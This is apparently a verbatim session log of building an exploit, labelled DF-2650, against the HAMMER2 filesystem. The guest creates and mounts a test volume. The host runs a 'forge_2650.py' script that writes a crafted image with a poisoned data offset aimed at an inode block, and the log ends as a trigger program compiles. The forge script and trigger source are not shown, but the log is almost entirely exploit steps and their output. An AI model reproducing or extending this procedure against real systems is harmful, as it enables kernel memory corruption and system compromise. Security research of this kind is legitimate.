DF-2650 build (host+guest), verbatim session output.

--- guest: base image ---
# truncate -s 64M base.img && newfs_hammer2 -L testvol base.img && vnconfig -c vn0 base.img \
  && mount -t hammer2 /dev/vn0@testvol /mnt/h2x && printf h2650payload > /mnt/h2x/f1 \
  && sync && umount /mnt/h2x && vnconfig -u vn0
BASE_OK

--- host: forge ---
$ python3 forge_2650.py base2650.img craft2650.img rad0
[*] using iblk blockset slot @ 0x1800b00 (inode blk 0x1800800)
[+] poison: DATA data_off=0x1800800 (radix==0)
[+] wrote craft2650.img

--- guest: trigger ---
$ cc -O -o /tmp/trigger /tmp/trigger.c
CC_OK